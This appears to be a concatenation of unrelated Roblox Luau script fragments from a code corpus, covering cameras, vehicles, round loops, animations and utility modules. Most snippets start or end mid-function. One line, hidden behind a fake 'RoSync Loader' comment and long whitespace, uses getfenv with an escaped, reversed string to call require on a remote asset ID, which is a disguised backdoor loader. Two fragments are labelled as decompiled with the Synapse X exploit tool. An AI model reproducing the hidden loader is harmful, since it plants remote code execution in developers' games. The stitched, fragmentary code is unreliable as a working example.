Roblox/luau_corpus huggingface dataset:
--Function For Making New Ray Bricks
function makeRay(cframe, size)
	local p						= Instance.new("Part")
	p.Name						= "RayPart"
	p.BrickColor				= BrickColor.new("New Yeller")
	p.Material                  = "Neon"
	p.Transparency				= 0.5
	p.Anchored					= true
	p.CanCollide				= false
	p.TopSurface				= Enum.SurfaceType.Smooth
	p.BottomSurface				= Enum.SurfaceType.Smooth
	p.formFactor				= Enum.FormFactor.Custom
	p.CFrame					= cframe
	p.Size						= size
	p.Parent					= m
	ignoreList[#ignoreList+1]	= p
end
-- Formerly getCurrentCameraMode, this function resolves developer and user camera control settings to
-- decide which camera control module should be instantiated. The old method of converting redundant enum types
function CameraModule:GetCameraControlChoice()
	local player = Players.LocalPlayer

	if player then
		if UserInputService:GetLastInputType() == Enum.UserInputType.Touch or UserInputService.TouchEnabled then
			-- Touch
			if player.DevTouchCameraMode == Enum.DevTouchCameraMovementMode.UserChoice then
				return CameraUtils.ConvertCameraModeEnumToStandard( UserGameSettings.TouchCameraMovementMode )
			else
				return CameraUtils.ConvertCameraModeEnumToStandard( player.DevTouchCameraMode )
			end
		else
			-- Computer
			if player.DevComputerCameraMode == Enum.DevComputerCameraMovementMode.UserChoice then
				local computerMovementMode = CameraUtils.ConvertCameraModeEnumToStandard(UserGameSettings.ComputerCameraMovementMode)
				return CameraUtils.ConvertCameraModeEnumToStandard(computerMovementMode)
			else
				return CameraUtils.ConvertCameraModeEnumToStandard(player.DevComputerCameraMode)
			end
		end
	end
end

function CameraModule:OnCharacterAdded(char, player)
	if self.activeOcclusionModule then
		self.activeOcclusionModule:CharacterAdded(char, player)
	end
end

function CameraModule:OnCharacterRemoving(char, player)
	if self.activeOcclusionModule then
		self.activeOcclusionModule:CharacterRemoving(char, player)
	end
end

function CameraModule:OnPlayerAdded(player)
	player.CharacterAdded:Connect(function(char)
		self:OnCharacterAdded(char, player)
	end)
	player.CharacterRemoving:Connect(function(char)
		self:OnCharacterRemoving(char, player)
	end)
end

function CameraModule:OnMouseLockToggled()
	if self.activeMouseLockController then
		local mouseLocked = self.activeMouseLockController:GetIsMouseLocked()
		local mouseLockOffset = self.activeMouseLockController:GetMouseLockOffset()
		if self.activeCameraController then
			self.activeCameraController:SetIsMouseLocked(mouseLocked)
			self.activeCameraController:SetMouseLockOffset(mouseLockOffset)
		end
	end
end

local cameraModuleObject = CameraModule.new()

return {}
-----------------------
------
for _,v in pairs(script.Parent.PS.bu:GetChildren())do
	local dx=math.abs(v.inf.Value.Y)==1 and 1 or 2
	local x,y=v.Position.X.Offset+v.inf.Value.X*dx,v.Position.Y.Offset+v.inf.Value.Y
	if y<0 then y=0 v.inf.Value=Vector3.new(v.inf.Value.X,-v.inf.Value.Y)end
	if y>36 then y=36 v.inf.Value=Vector3.new(v.inf.Value.X,-v.inf.Value.Y)end
	v.Position=UDim2.new(0,x,0,y)
	if x>75 then v:Destroy()end
	if x<1 then v:Destroy()end
	if col(v,script.Parent.PS.ca)then v:Destroy()end
		if v and v.Parent and v.inf.Value.X==1 and col(v,script.Parent.PS.p2)then v:Destroy()
		if s2==0 then s2=1 sc1=sc1+1 rest()end end
		
		if v and v.Parent and v.inf.Value.X==-1 and col(v,script.Parent.PS.p1)then v:Destroy()
		if s1==0 then s1=1 sc2=sc2+1 rest()end end
end
--		TeleportService:Teleport(placeID_Premium, player)
		-- Else, prompt Premium upgrade (use debounce to show it only once every few seconds)
	else
		if showPrompt == false then return end
		showPrompt = false
		delay(5, function()
			showPrompt = true
		end)
		MarketplaceService:PromptPremiumPurchase(player)
		warn("Prompted Premium purchase")
	end
end
teleporter.Touched:Connect(onTeleporterTouch)
-- Decompiled with the Synapse X Luau decompiler.

local v1 = {};
local v2 = require(game.ReplicatedStorage.Modules.Lightning);
local v3 = require(game.ReplicatedStorage.Modules.Xeno);
local v4 = require(game.ReplicatedStorage.Modules.CameraShaker);
local l__TweenService__5 = game.TweenService;
local l__Debris__6 = game.Debris;
local l__ReplicatedStorage__1 = game.ReplicatedStorage;
function v1.RunStompFx(p1, p2, p3, p4)
	local v7 = l__ReplicatedStorage__1.KillFX[p1].Effect:Clone();
	v7.Parent = p2.Parent.UpperTorso and p2;
	v7.Enabled = true;
	game.Debris:AddItem(v7, 4);
	local u2 = false;
	task.delay(0, function()
		for v8 = 0, 0.25, 0.01 do
			v7.StudsOffset = Vector3.new(v7.StudsOffset.X - v8 / 2, v7.StudsOffset.Y - v8, 0);
			task.wait();
		end;
		local v9 = l__ReplicatedStorage__1.KillFX[p1].Stomp:Clone();
		v9.Parent = p2.Parent.UpperTorso or p2;
		v9:Play();
		game.Debris:AddItem(v9, 4);
		for v10 = 0, 0.25, 0.01 do
			v7.StudsOffset = Vector3.new(v7.StudsOffset.X - v10, v7.StudsOffset.Y + v10, 0);
			task.wait();
		end;
		v7:Destroy();
		u2 = true;
	end);
	while true do
		task.wait();
		if u2 == true then
			break;
		end;
		if v7.Parent == nil then
			break;
		end;	
	end;
	if v7.Parent ~= nil then
		v7:Destroy();
	end;
	return nil;
end;
return v1;
--[[ Version ]]
module.MajorVersion = 0
module.MinorVersion = 5
-- local endbrick = workspace.EndKillBrick
local tweenInfo = TweenInfo.new(
	2, -- Time
	Enum.EasingStyle.Linear, -- EasingStyle
	Enum.EasingDirection.Out, -- EasingDirection
	0, -- RepeatCount (when less than zero the tween will loop indefinitely)
	false, -- Reverses (tween will reverse once reaching it's goal)
	0 -- DelayTime
)
script.Parent.Touched:connect(function(hit)
	
	local tweenToB = game:GetService("TweenService"):Create(hit, tweenInfo, {CFrame = spawn.CFrame})
	
	if hit and hit.Parent and hit.Parent:FindFirstChild("Humanoid") then
		local player = game.Players:GetPlayerFromCharacter(hit.Parent)
		local checkpointData = game.ServerStorage:FindFirstChild("CheckpointData")
		if not checkpointData then
			checkpointData = Instance.new("Model", game.ServerStorage)
			checkpointData.Name = "CheckpointData"
		end

		local checkpoint = checkpointData:FindFirstChild(tostring(player.userId))
		if not checkpoint then
			checkpoint = Instance.new("ObjectValue", checkpointData)
			checkpoint.Name = tostring(player.userId)

			player.CharacterAdded:connect(function(character)
				wait()
				character:WaitForChild("HumanoidRootPart").CFrame = game.ServerStorage.CheckpointData[tostring(player.userId)].Value.CFrame + Vector3.new(0, 4, 0)
			end)
		end

		checkpoint.Value = spawn
		hit.Anchored = true
		hit.Parent:FindFirstChild('Humanoid').PlatformStand = true
		tweenToB:Play()
		wait(1.8)
		tweenToB:Pause()
		hit.Parent:FindFirstChild('Humanoid').PlatformStand = false
		-- game.Players:GetPlayerFromCharacter(hit.Parent):FindFirstChild('Humanoid').PlatformStand = false
		hit.Anchored = false
		_G.giveToolToPlayer(game.Players:GetPlayerFromCharacter(hit.Parent))
	end
end)
--[=[
	Gets whatever object is stored with the given index, if it exists. This was added since Maid allows getting the task using `__index`.

	```lua
	local Obliterator = Janitor.new()
	Obliterator:Add(workspace.Baseplate, "Destroy", "Baseplate")
	print(Obliterator:Get("Baseplate")) -- Returns Baseplate.
	```

	```ts
	import { Workspace } from "@rbxts/services";
	import { Janitor } from "@rbxts/janitor";

	const Obliterator = new Janitor<{ Baseplate: Part }>();
	Obliterator.Add(Workspace.FindFirstChild("Baseplate") as Part, "Destroy", "Baseplate");
	print(Obliterator.Get("Baseplate")); // Returns Baseplate.
	```

	@param Index any -- The index that the object is stored under.
	@return any? -- This will return the object if it is found, but it won't return anything if it doesn't exist.
]=]
function Janitor:Get(Index: any): any?
	local This = self[IndicesReference]
	if This then
		return This[Index]
	else
		return nil
	end
end

local function GetFenv(self)
	return function()
		for Object, MethodName in pairs(self) do
			if Object ~= IndicesReference then
				return Object, MethodName
			end
		end
	end
end
--[=[
	Observes the current value of the ValueObject
	@param valueObject ValueObject<T>
	@return Observable<Brio<T>>
]=]
function ValueObjectUtils.observeValueBrio(valueObject)
	assert(valueObject, "Bad valueObject")

	return Observable.new(function(sub)
		local maid = Maid.new()

		local function refire()
			local brio = Brio.new(valueObject.Value)
			maid._lastBrio = brio
			sub:Fire(brio)
		end

		maid:GiveTask(valueObject.Changed:Connect(refire))

		refire()

		return maid
	end)
end


return ValueObjectUtils
--[END]]
--[[ Last synced 7/19/2021 06:21                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                                  ]]--
-- ANimation
local Sound = script:WaitForChild("Haoshoku Sound")

UIS.InputBegan:Connect(function(Input)
	if Input.KeyCode == Enum.KeyCode.C and Debounce == 1 and Tool.Equip.Value == true and Tool.Active.Value == "None" then
		Debounce = 2
		Track1 = plr.Character.Humanoid:LoadAnimation(script.AnimationCharge)
		Track1:Play()
		script.RemoteEventS:FireServer()
	    EF = game.ReplicatedStorage.Thunder.Aim:Clone()
		EF.Parent = plr.Character
		EF.Name = "AIM"
		for i = 1,math.huge do
			if Debounce == 2 then
				EF.CFrame = CFrame.new(Mouse.Hit.p)
				plr.Character.HumanoidRootPart.CFrame = CFrame.new(plr.Character.HumanoidRootPart.Position, Mouse.Hit.p)
				plr.Character.HumanoidRootPart.Anchored = true
			else
				
				break
				end
	     wait()
	  end
	end
end)

UIS.InputEnded:Connect(function(Input)
	if Input.KeyCode == Enum.KeyCode.C and Debounce == 2 and Tool.Equip.Value == true and Tool.Active.Value == "None" then
		Debounce = 3
		local Track2 = plr.Character.Humanoid:LoadAnimation(script.AnimationRelease)
		Track2:Play()
		Track1:Stop()
		Sound:Play()
		local mousepos = Mouse.Hit
		script.RemoteEvent:FireServer(mousepos,Mouse.Hit.p)
		wait(0.5)
		EF:Destroy()
		Track2:Stop()
		plr.Character.HumanoidRootPart.Anchored = false
		local hum =  plr.Character.Humanoid
		for i = 1,35 do
			wait()
			hum.CameraOffset = Vector3.new(math.random(-3,3),math.random(-3,3),math.random(-3,3))
		end
		hum.CameraOffset = Vector3.new(0,0,0)
		Tool.Active.Value = "None"
		wait(3)
		Debounce = 1
	end
end)
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take

Cooldown = 5 -- cooldown for use of the tool again

ZoneModelName = "killer slash" -- name the zone model

MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
-- Decompiled with the Synapse X Luau decompiler.

local v1 = {};
local v2 = require(game.ReplicatedStorage.Modules.Lightning);
local v3 = require(game.ReplicatedStorage.Modules.Xeno);
local v4 = require(game.ReplicatedStorage.Modules.CameraShaker);
local l__TweenService__5 = game.TweenService;
local l__Debris__6 = game.Debris;
local l__ReplicatedStorage__1 = game.ReplicatedStorage;
function v1.RunStompFx(p1, p2, p3, p4)
	local v7 = l__ReplicatedStorage__1.KillFX[p1].Ring:Clone();
	v7.Parent = p2.Parent.UpperTorso and p2;
	v7:Play();
	game.Debris:AddItem(v7, 2);
	local v8 = l__ReplicatedStorage__1.KillFX[p1].Part:Clone();
	v8.Parent = workspace.Ignored.Animations;
	v8.Position = p2.Position;
	task.delay(0.35, function()
		v8.Attachment.Particle.Enabled = false;
	end);
	return nil;
end;
return v1;
--Made by Luckymaxer

Particles = script.Parent

Debris = game:GetService("Debris")

Debris:AddItem(Particles, 3)

wait(1.5)

Particles.Enabled = false
-- lol xddd

script.Parent.MouseButton1Click:connect(function() -- The function of when the Players Clicks.
	if script.Parent.Parent.Box.Visible == false then -- This tells wither it is open or not.
		script.Parent.Text = "Close" -- Tells us that it is open.
		script.Parent.Parent.Box.Visible = true -- Makes the box visible.
	else -- Otherwise
		script.Parent.Text = "Job Changer" -- Tells us that it is closed.
		script.Parent.Parent.Box.Visible = false -- Makes the box Invisible
	end -- Ends the If statement.
end) -- Ends the function in general.
--!strict
type Match = {
	index: number,
	match: string,
}
--Update RPM
function RPM()
	--Neutral Gear
	if _CGear==0 then _ClutchOn = false end

	--Car Is Off
	local revMin = _Tune.IdleRPM
	if not _IsOn then 
		revMin = 0 
		_CGear = 0
		_ClutchOn = false
		_GThrot = _Tune.IdleThrottle/100
	end

	--Determine RPM
	local maxSpin=0
	for i,v in pairs(Drive) do
		if v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end
	end
	if _ClutchOn then
		local aRPM = math.max(math.min(maxSpin*_Tune.Ratios[_CGear+2]*fFDr,_Tune.Redline+100),revMin)
		local clutchP = math.min(math.abs(aRPM-_RPM)/_Tune.ClutchTol,.9)
		_RPM = _RPM*clutchP  +  aRPM*(1-clutchP)
	else
		if _GThrot-(_Tune.IdleThrottle/100)>0 then
			if _RPM>_Tune.Redline then
				_RPM = _RPM-_Tune.RevBounce*2
			else
				_RPM = math.min(_RPM+_Tune.RevAccel*_GThrot,_Tune.Redline+100)
			end
		else
			_RPM = math.max(_RPM-_Tune.RevDecay,revMin)
		end
	end

	--Rev Limiter
	_spLimit = (_Tune.Redline+100)/(fFDr*_Tune.Ratios[_CGear+2])
	if _RPM>_Tune.Redline then 
		if _CGear<#_Tune.Ratios-2 then
			_RPM = _RPM-_Tune.RevBounce
		else
			_RPM = _RPM-_Tune.RevBounce*.5
		end
	end
end
-- единица сетки
grid = game.Workspace.Configuration.GridSize.Value

local player = game.Players.LocalPlayer

while true do
	-- local char = player.Character or player.CharacterAdded:Wait() -- GetPlayerFromCharacter
	local char = player.Character
	if char.PrimaryPart then -- проверка на загрузку персонажа
		local pos = char:GetPrimaryPartCFrame().Position
		local txt = math.floor(pos.X / grid ) .. " / " .. math.floor( -pos.Z / grid )
		me.Text = txt
	else
		me.Text = "" -- нет координат
	end
	-- ожидаем
	wait(1) 
end
--------------------------------------------
print("Phase 1 - Charge")
local exp = Instance.new("Explosion")
exp.Position = script.Parent.Position
exp.BlastPressure = 10000
exp.BlastRadius = 40
exp.Visible = false
exp.Parent = workspace
script.Parent.Trail.Enabled = false
script.Parent.radialneedles.Disabled = false
script.Parent.hallelujah:Stop()
script.Parent.Abscond:Play()
script.Parent.Charge:Play()
script.Parent.ChargeExSound:Play()
script.Parent.ChargeExSound2:Play()
script.Parent.ChargeExSound3:Play()
script.Parent.ChargeExSound4:Play()
script.Parent.ChargeExSound5:Play()
script.Parent.ChargeStart:Play()
script.Parent.ChargeStart2:Play()
script.Parent.ChargeStart3:Play()
script.Parent.Curse:Play()
script.Parent.booooooooooooiiiiinnngggg:Play()
script.Parent.DBC:Play()
script.Parent.DBCha:Play()
script.Parent.DS:Play()
script.Parent.DSHit:Play()
script.Parent.Defile:Play()
script.Parent.Elec:Play()
script.Parent.Activate.Enabled = false
script.Parent.ChargeEx:Emit(400)
--[[
	Systems that need to wait for config override to happen
]]

local PlayerMatchInfo = require(ReplicatedStorage.Libraries.PlayerMatchInfo)
WeaponsSystem.setGetTeamCallback(function(player)
	return PlayerMatchInfo.GetField(player, "teamNumber")
end)
--/Recoil Modification
module.camRecoil = {
	RecoilUp 		= 1
	,RecoilTilt 	= 1
	,RecoilLeft 	= 1
	,RecoilRight 	= 1
}

module.gunRecoil = {
	RecoilUp 		= 1
	,RecoilTilt 	= 1
	,RecoilLeft 	= 1
	,RecoilRight 	= 1
}

module.AimRecoilReduction = 1
module.AimSpreadReduction = 1

module.MinRecoilPower 			= 1
module.MaxRecoilPower 			= 1
module.RecoilPowerStepAmount 	= 1

module.MinSpread 				= 1
module.MaxSpread 				= 1					
module.AimInaccuracyStepAmount 	= 1
module.AimInaccuracyDecrease 	= 1
module.WalkMult 				= 1

module.MuzzleVelocityMod	 	= 1

return module
-- 0 = Least Significant Bit, 31 = Most Significant Bit
local function rRotateSubsection(int, start, width, disp)
	local wrappedBits
	local shiftedBits

	disp = disp % width
	if disp == 0 then
		return int
	end

	wrappedBits = bit32.extract(int, start, disp)
	wrappedBits = bit32.lshift(wrappedBits, width - disp)
	shiftedBits = bit32.extract(int, start + disp, width - disp)

	return bit32.replace(int, bit32.bor(wrappedBits, shiftedBits), start, width)
end

function BitOps.rotateConnectivity(connectivity, degrees)
	return rRotateSubsection(connectivity, 0, 24, 6 * (degrees % 360) / 90)
end

function BitOps.rotateOccupancy(occupancy, degrees)
	local occupancyWithVerticalFacesRotated = rRotateSubsection(occupancy, 2, 4, (degrees % 360) / 90)
	return rRotateSubsection(occupancyWithVerticalFacesRotated, 6, 8, 2 * (degrees % 360) / 90)
end
---ex2---
script.Parent.Parent.ex2.exit1.SurfaceGui.TextLabel.TextTransparency = 0
script.Parent.Parent.ex2.exit2.SurfaceGui.TextLabel.TextTransparency = 0
script.Parent.Parent.ex2.exit3.SurfaceGui.TextLabel.TextTransparency = 0
script.Parent.Parent.ex2.exit4.SurfaceGui.TextLabel.TextTransparency = 0
script.Parent.Parent.ex2.exit5.SurfaceGui.TextLabel.TextTransparency = 0
script.Parent.Parent.ex2.exit6.SurfaceGui.TextLabel.TextTransparency = 0
--RightShoulder = Torso:WaitForChild("Right Shoulder")
--LeftShoulder = Torso:WaitForChild("Left Shoulder")
RightHip = Torso:WaitForChild("Right Hip")
LeftHip = Torso:WaitForChild("Left Hip")
Neck = Torso:WaitForChild("Neck")
Humanoid = Figure:WaitForChild("Humanoid")

Pose = "Standing"

CurrentAnim = ""
CurrentAnimTrack = nil
CurrentAnimKeyframeHandler = nil
CurrentAnimSpeed = 1.0
AnimTable = {}

AnimNames = {
	Idle = 	{
		{Id = "http://www.roblox.com/asset/?id=125750544", Weight = 9},
		{Id = "http://www.roblox.com/asset/?id=125750618", Weight = 1},
	},
	Walk = 	{
		{Id = "http://www.roblox.com/asset/?id=125749145", Weight = 10},
	},
	Run = 	{
		{Id = "run.xml", Weight = 10},
	},
	Jump = 	{
		{Id = "http://www.roblox.com/asset/?id=125750702", Weight = 10},
	},
	Fall = 	{
		{Id = "http://www.roblox.com/asset/?id=125750759", Weight = 10},
	},
	Climb = {
		{Id = "http://www.roblox.com/asset/?id=125750800", Weight = 10},
	},
	ToolNone = {
		{Id = "http://www.roblox.com/asset/?id=125750867", Weight = 10},
	},
	ToolSlash = {
		{Id = "http://www.roblox.com/asset/?id=129967390", Weight = 10},
--[[
		___      _______                _     
	   / _ |____/ ___/ /  ___ ____ ___ (_)__ 
	  / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
	 /_/ |_|   \___/_//_/\_,_/___/___/_/___/
 						SecondLogic @ Inspare
]]
local FE = workspace.FilteringEnabled
local car = script.Parent.Car.Value
local handler = car:WaitForChild("AC6_FE_Sounds")
local _Tune = require(car["A-Chassis Tune"])
local on = 0
local throt=0
local redline=0

script:WaitForChild("Rev")
script:WaitForChild("Elec")

for i,v in pairs(car.DriveSeat:GetChildren()) do
	for _,a in pairs(script:GetChildren()) do
		if v.Name==a.Name then v:Stop() wait() v:Destroy() end
	end
end

handler:FireServer("newSound","Rev",car.DriveSeat,script.Rev.SoundId,0,script.Rev.SetVol.Value,true)
handler:FireServer("newSound","Elec",car.DriveSeat,script.Elec.SoundId,0,script.Elec.SetVol.Value,true)
handler:FireServer("playSound","Rev")
handler:FireServer("playSound","Elec")
car.DriveSeat:WaitForChild("Rev")
car.DriveSeat:WaitForChild("Elec")

while wait() do
	local _RPM = script.Parent.Values.RPM.Value
	
	if script.Parent.Values.Throttle.Value <= _Tune.IdleThrottle/100 then
		throt = math.max(.3,throt-.2)	
	else
		throt = math.min(1,throt+.1)	
	end	
	if script.Parent.Values.RPM.Value > _Tune.Redline-_Tune.RevBounce/4 and script.Parent.Values.Throttle.Value > _Tune.IdleThrottle/100 then
		redline=.5
	else
		redline=1
	end
	if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end
	local RevVol = script.Rev.SetVol.Value
	local ElecVol = script.Elec.SetVol.Value
	if not _Tune.Engine then RevVol = 0 end
	if not _Tune.Electric then ElecVol = 0 end
	local RevPitch = math.max((((script.Rev.SetPitch.Value + script.Rev.SetRev.Value*_RPM/_Tune.Redline))*on^2),script.Rev.SetPitch.Value)
	local ElecPitch = math.max((((script.Elec.SetPitch.Value + script.Elec.SetRev.Value*_RPM/_Tune.Redline))*on^2),script.Elec.SetPitch.Value)
	handler:FireServer("updateSound","Rev",script.Rev.SoundId,RevPitch,RevVol)
	handler:FireServer("updateSound","Elec",script.Elec.SoundId,ElecPitch,ElecVol)
end
-- 1 Minute Roblox 

ServerStorage = game:GetService("ServerStorage")
ReplicatedStorage = game:GetService("ReplicatedStorage")
Players = game:GetService("Players")

Maps = ServerStorage:WaitForChild('Maps'):GetChildren()
Status = ReplicatedStorage:WaitForChild('Status')

while true do

	--Intermission

	local Countdown = 20 -- ten second intermission, make this as long as you want

	repeat wait(1)
		Countdown = Countdown - 1

		Status.Value = 'Intermission : '..Countdown
	until Countdown <= 0

	--Choose the map.

	Status.Value = 'Choosing Map.'

	local ChosenMap = Maps[math.random(1, #Maps)]:Clone()
	local Spawns = ChosenMap:FindFirstChild('Spawns'):GetChildren()
	local RandomSpawn = Spawns[math.random(1, #Spawns)]

	wait(5) -- little pause, make this as long as you want

	ChosenMap.Parent = workspace
	Status.Value = 'Map chosen, teleporting players.'

	wait(2) -- little pause, make this as long as you want

	--teleport the players

	for _, Player in pairs(Players:GetChildren())do
		if Player.Character and Player.Character:FindFirstChild('Humanoid') then
			Player.Character.HumanoidRootPart.CFrame = RandomSpawn.CFrame
		end
	end

	Countdown = 5 -- Starting Round In, make this as long as you want

	repeat wait(1)
		Countdown = Countdown - 1

		Status.Value = 'Starting Round in : '..Countdown
	until Countdown <= 0

	Countdown = 5 -- Game Time, ten seconds so the video isn't long, make this as long as you want.

	repeat wait(1)
		Countdown = Countdown - 1

		Status.Value = 'Ingame : '..Countdown
	until Countdown <= 0

	--Kill the players

	for _, Player in pairs(Players:GetChildren())do
		if Player.Character and Player.Character:FindFirstChild('Humanoid') then
			Player.Character.Humanoid:TakeDamage(2000)
		end
	end

	ChosenMap:Destroy()

	Status.Value = 'Round Ended, waiting for new game.'

	wait(4) -- little pause, make this as long as you want.

end
--[=[
	Event fires when the spring value changes
	@prop Changed Signal<()> -- Fires whenever the spring initially changes state
	@within ValueObject
]=]
	self._maid:GiveTask(self.Changed)

	if target then
		self.Target = target
	else
		self:_getSpringForType(0)
	end

	if speed then
		self.Speed = speed
	end

	if damper then
		self.Damper = damper
	end

	return self
end
--[[Wheel Alignment]]
--[Don't physically apply alignment to wheels]
--[Values are in degrees]
Tune.FCamber		= -5
Tune.RCamber		= -5
Tune.FToe			= 0
Tune.RToe			= 0
--[=[
	Merges the existing brio value with the other brio

	@param brio Brio<{T}>
	@param otherBrio Brio<{U}>
	@return Brio<{T | U}>
]=]
function BrioUtils.merge(brio, otherBrio)
	assert(Brio.isBrio(brio), "Not a brio")
	assert(Brio.isBrio(otherBrio), "Not a brio")

	if brio:IsDead() or otherBrio:IsDead() then
		return Brio.DEAD
	end

	local values = brio._values
	local current = {}
	for i=1, values.n do
		current[i] = values[i]
	end

	local otherValues = otherBrio._values
	for i=1, otherValues.n do
		current[values.n+i] = otherValues[i]
	end

	local maid = Maid.new()
	local newBrio = Brio.new(unpack(current, 1, values.n + otherValues.n))

	maid:GiveTask(brio:GetDiedSignal():Connect(function()
		newBrio:Kill()
	end))
	maid:GiveTask(otherBrio:GetDiedSignal():Connect(function()
		newBrio:Kill()
	end))

	maid:GiveTask(newBrio:GetDiedSignal():Connect(function()
		maid:DoCleaning()
	end))

	return newBrio
end

return BrioUtils